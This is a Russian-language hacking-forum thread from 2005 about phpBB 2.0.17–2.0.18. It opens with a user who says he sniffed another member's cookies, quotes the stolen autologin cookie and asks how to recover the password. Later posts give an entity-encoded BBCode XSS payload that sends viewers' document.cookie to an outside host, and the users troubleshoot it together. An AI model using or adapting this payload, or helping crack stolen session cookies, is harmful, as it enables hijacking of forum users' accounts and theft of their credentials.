ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Куки в phpbb 2.0.17 - 2.0.18
  #1  
Старый 14.11.2005, 02:50
Аватар для Manoz
Manoz
Познающий
Регистрация: 15.02.2005
Сообщений: 39
Провел на форуме:
280185

Репутация: 7
Отправить сообщение для Manoz с помощью ICQ
По умолчанию Куки в phpbb 2.0.17 - 2.0.18

Отснифал кукисы, могу зайти под юзером, но есть ли возможность расшифровать пароль?

a:2:{s:11:"autologinid";s:33:"15947019324377939477 62e4.02269531";s:6:"userid";i:1161;}

1594701932437793947762e4.02269531 - Это какой алгоритм шифрования,

Спасибо за помощь!
 
Ответить с цитированием

  #2  
Старый 14.11.2005, 07:15
Аватар для Otaku
Otaku
Познавший АНТИЧАТ
Регистрация: 24.07.2005
Сообщений: 1,057
Провел на форуме:
1864132

Репутация: 116


По умолчанию

 
Ответить с цитированием

  #3  
Старый 14.11.2005, 11:14
Аватар для Tikson
Tikson
Постоянный
Регистрация: 09.10.2005
Сообщений: 333
Провел на форуме:
1387660

Репутация: 74
По умолчанию

спасибо мне тоже это надо было =)
 
Ответить с цитированием

  #4  
Старый 14.11.2005, 14:25
Аватар для Tem
Tem
Banned
Регистрация: 05.10.2005
Сообщений: 965
Провел на форуме:
5888800

Репутация: 547


Отправить сообщение для Tem с помощью ICQ
По умолчанию

Да если не трудно, поставь весь код.
 
Ответить с цитированием

  #5  
Старый 14.11.2005, 15:20
Аватар для Polisos
Polisos
Новичок
Регистрация: 12.11.2005
Сообщений: 16
Провел на форуме:
54781

Репутация: -5
По умолчанию

Цитата:
Сообщение от <<YaYaYa>>  
Короче добрые люди! (Полисос, тебя не спрашиваю)
Помогите! Как провести XSS-атаку на форум phpbb 2.0.18??????
Используй поиск античата.
 
Ответить с цитированием

  #6  
Старый 14.11.2005, 15:23
Аватар для Tem
Tem
Banned
Регистрация: 05.10.2005
Сообщений: 965
Провел на форуме:
5888800

Репутация: 547


Отправить сообщение для Tem с помощью ICQ
По умолчанию

Нет не ленивый , я всегда в поиске нового, пробывал XSS для этого, убрал все плюсики, но форум переобразует [url] в [eror_url], почему он так делает , некто мне до сех пор не объяснил, может ты сам объясниш?
 
Ответить с цитированием

  #7  
Старый 14.11.2005, 15:25
Аватар для Polisos
Polisos
Новичок
Регистрация: 12.11.2005
Сообщений: 16
Провел на форуме:
54781

Репутация: -5
По умолчанию

Цитата:
Сообщение от Tem  
Нет не ленивый , я всегда в поиске нового, пробывал XSS для этого, убрал все плюсики, но форум переобразует [url] в [eror_url], почему он так делает , некто мне до сех пор не объяснил, может ты сам объясниш?
Ну давай. Теги вообще на форуме работают та? Я и сам уберал, там всё работает значит ты что то не даубрал. Покажи что и как делаешь.
 
Ответить с цитированием

  #8  
Старый 14.11.2005, 15:54
Аватар для Polisos
Polisos
Новичок
Регистрация: 12.11.2005
Сообщений: 16
Провел на форуме:
54781

Репутация: -5
По умолчанию

Код HTML:
[url]http://www.[url=http://wj.com/style=display:none;background&#58&#117&#114&#108&#40&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#100&#111&#99&#117&#109&#101&#110&#116&#46&#105&#109&#97&#103&#101&#115&#91&#49&#93&#46&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#97&#110&#116&#105&#99&#104&#97&#116&#46&#114&#117&#47&#99&#103&#105&#45&#98&#105&#110&#47&#115&#46&#106&#112&#103&#63&#34+document.cookie;&#41&#32]wj[/url][/url]
Ну так поможет? Подставь ; знак чтобы закрыть символ.

А вообще, преведи результат кода который ты постишь.

Я просто уже не знаю как его тут запостить, уже ведь и видео снял...и статью написал!

Что ещё нужно?

Может народовский сайт создать а там в тексте мх

Последний раз редактировалось Polisos; 14.11.2005 в 15:57..
 
Ответить с цитированием

  #9  
Старый 14.11.2005, 15:57
Аватар для Tem
Tem
Banned
Регистрация: 05.10.2005
Сообщений: 965
Провел на форуме:
5888800

Репутация: 547


Отправить сообщение для Tem с помощью ICQ
По умолчанию

Код HTML:
[url]http://www.[url=http://wj.com/style=display:none;background&+#58;&+#117;&+#114;&+#108;&+#40;&+#106;&+#97;&+#118;&+#97;&+#115;&+#99;&+#114;&+#105;&+#112;&+#116;&+#58;&+#100;&+#111;&+#99;&+#117;&+#109;&+#101;&+#110;&+#116;&+#46;&+#105;&+#109;&+#97;&+#103;&+#101;&+#115;&+#91;&+#49;&+#93;&+#46;&+#115;&+#114;&+#99;&+#61;&+#34;&+#104;&+#116;&+#116;&+#112;&+#58;&+#47;&+#47;&+#97;&+#110;&+#116;&+#105;&+#99;&+#104;&+#97;&+#116;&+#46;&+#114;&+#117;&+#47;&+#99;&+#103;&+#105;&+#45;&+#98;&+#105;&+#110;&+#47;&+#115;&+#46;&+#106;&+#112;&+#103;&+#63;&+#34;+document.cookie;&+#41;&+#32;]wj[/url][/url]
Я убераю все плюсики, но всё равно не пашет.

Последний раз редактировалось Tem; 14.11.2005 в 16:02..
 
Ответить с цитированием

  #10  
Старый 14.11.2005, 15:58
Аватар для Polisos
Polisos
Новичок
Регистрация: 12.11.2005
Сообщений: 16
Провел на форуме:
54781

Репутация: -5
По умолчанию

в html теги засунь.

Нет, результат в html засунь Я ведь не вижу если просто запостишь они просто на форуме сработают!

Покажи результат что ты делаешь, и засунь это всё так же в теги на античатовском форуме.

Работает только в ИЕ не забывай этого.

Последний раз редактировалось Polisos; 14.11.2005 в 16:31..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Kak lomati phpbb 2.0.18 i nizhe. Koroche na vseh forymah deistvyet. queen Уязвимости 26 05.01.2006 06:29
Проникаем в phpBB 2.0.17 kitiaCaT Форумы 5 18.10.2005 23:37
Уязвимость в phpBB 2.0.17 PEPSICOLA Форумы 13 28.09.2005 20:26



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ